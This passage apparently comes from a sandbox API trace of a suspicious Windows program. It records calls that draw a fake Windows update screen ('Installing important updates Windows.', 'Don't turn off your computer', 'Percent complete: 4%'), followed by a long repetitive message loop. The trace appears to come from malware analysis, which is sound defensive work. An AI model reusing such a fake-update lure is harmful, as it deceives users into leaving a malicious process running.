hbr=0x50100273) returned 1 [0055.348] DeleteObject (ho=0x50100273) returned 1 [0055.348] DrawIcon (hDC=0x901085b, X=7, Y=7, hIcon=0x501c1) returned 1 [0055.349] CreateFontW (cHeight=-19, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x1d0a0287 [0055.349] SelectObject (hdc=0x901085b, h=0x1d0a0287) returned 0x18a002e [0055.349] SetBkMode (hdc=0x901085b, mode=1) returned 2 [0055.349] lstrlenW (lpString="Installing important updates Windows.") returned 37 [0055.349] TextOutW (hdc=0x901085b, x=55, y=10, lpString="Installing important updates Windows.", c=37) returned 1 [0055.352] SelectObject (hdc=0x901085b, h=0x18a002e) returned 0x1d0a0287 [0055.352] CreateSolidBrush (color=0xffffff) returned 0x51100273 [0055.352] FillRect (hDC=0x901085b, lprc=0x18d9f0, hbr=0x51100273) returned 1 [0055.352] DeleteObject (ho=0x51100273) returned 1 [0055.353] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x40a0859 [0055.359] SelectObject (hdc=0x901085b, h=0x40a0859) returned 0x18a002e [0055.359] SetBkMode (hdc=0x901085b, mode=1) returned 1 [0055.359] lstrlenW (lpString="Getting your update ready.") returned 26 [0055.359] TextOutW (hdc=0x901085b, x=52, y=60, lpString="Getting your update ready.", c=26) returned 1 [0055.359] lstrlenW (lpString="Configuring update for Windows.") returned 31 [0055.359] TextOutW (hdc=0x901085b, x=52, y=77, lpString="Configuring update for Windows.", c=31) returned 1 [0055.359] lstrlenW (lpString="Don't turn off your computer or close it.") returned 41 [0055.359] TextOutW (hdc=0x901085b, x=52, y=94, lpString="Don't turn off your computer or close it.", c=41) returned 1 [0055.359] SelectObject (hdc=0x901085b, h=0x18a002e) returned 0x40a0859 [0055.360] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=700, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x80a085c [0055.361] SelectObject (hdc=0x901085b, h=0x80a085c) returned 0x18a002e [0055.361] SetBkMode (hdc=0x901085b, mode=1) returned 1 [0055.361] SetTextAlign (hdc=0x901085b, align=0x6) returned 0x0 [0055.361] wsprintfW (in: param_1=0x18da50, param_2="Percent complete: %i%%" | out: param_1="Percent complete: 4%") returned 20 [0055.361] lstrlenW (lpString="Percent complete: 4%") returned 20 [0055.361] TextOutW (hdc=0x901085b, x=209, y=111, lpString="Percent complete: 4%", c=20) returned 1 [0055.364] SelectObject (hdc=0x901085b, h=0x18a002e) returned 0x80a085c [0055.364] EndPaint (hWnd=0x6011c, lpPaint=0x18da10) returned 1 [0055.385] LoadAcceleratorsW (hInstance=0x400000, lpTableName=0x6d) returned 0x301c7 [0055.385] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.385] NtdllDefWindowProc_W () returned 0x0 [0055.385] NtdllDefWindowProc_W () returned 0x0 [0055.385] NtdllDefWindowProc_W () returned 0x0 [0055.385] TranslateAcceleratorW (hWnd=0x0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0055.385] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.385] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.385] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.385] NtdllDefWindowProc_W () returned 0x0 [0055.386] TranslateAcceleratorW (hWnd=0x6011c, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0055.386] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.386] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.386] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.386] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0055.386] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.386] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.386] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.386] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0055.386] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.386] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.387] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.387] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0055.387] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.387] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.387] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.591] TranslateAcceleratorW (hWnd=0x301be, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0055.591] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.591] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.591] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.591] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0055.591] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.591] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.592] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.777] TranslateAcceleratorW (hWnd=0x401c6, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0055.777] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.778] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.778] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.778] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0055.778] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.778] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.024] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.245] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0056.245] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.245] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.245] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.292] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0056.292] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.292] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.292] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.292] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0056.292] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.292] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.293] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.624] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0056.624] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.624] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.624] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.624] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0056.624] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.624] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.625] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.666] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0056.666] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.666] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.666] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.666] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0056.666] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.666] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.667] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.713] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0056.713] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.713] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.713] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.713] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0056.713] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.713] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.714] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.760] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0056.760] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.760] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.760] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.760] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0056.760] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.760] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.761] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.884] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0056.884] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.884] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.885] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.885] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0056.885] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.885] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.886] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.931] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0056.931] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.931] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.931] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.931] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0056.931] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.931] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.932] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.978] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0056.978] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.978] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.978] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.978] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0056.978] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.978] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.979] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.043] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0057.043] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.043] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.043] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.043] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0057.043] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.043] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.044] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.092] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0057.092] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.092] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.092] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.092] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0057.092] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.092] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.093] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.134] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0057.134] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.134] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.134] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.134] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0057.134] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.134] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.135] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.181] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0057.181] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.181] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.181] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.181] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0057.181] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.181] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.182] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.228] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0057.228] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.228] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.228] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.440] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.440] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.440] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.440] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.476] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.476] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.476] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.476] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.476] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.476] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.476] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.477] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.522] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.522] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.522] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.523] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.523] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.523] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.523] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.524] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.570] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.570] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.570] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.570] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.570] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.570] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.570] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.571] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.624] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.624] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.624] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.624] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.624] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.624] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.624] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.625] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.665] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.665] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.665] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.665] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.665] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.665] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.665] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.666] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.710] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.710] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.710] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.710] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.710] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.710] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.710] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.711] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.756] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.756] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.757] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.757] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.757] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.757] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.757] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.758] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.803] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.803] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.803] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.803] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.803] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.804] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.804] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.805] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.850] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.850] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.850] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.850] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.850] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.850] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.850] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.852] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.897] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.897] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.897] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.897] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.897] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.897] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.897] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.898] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.944] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.944] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.944] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.944] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.944] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.944] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.944] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.945] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.991] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.991] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.991] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.991] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.991] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0058.991] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.991] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.992] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.037] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0059.037] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.037] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.037] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.004] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.004] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.004] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.005] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.051] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.051] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.051] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.051] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.051] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.051] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.051] DispatchMessageW (lpMsg=0x18e548) returned 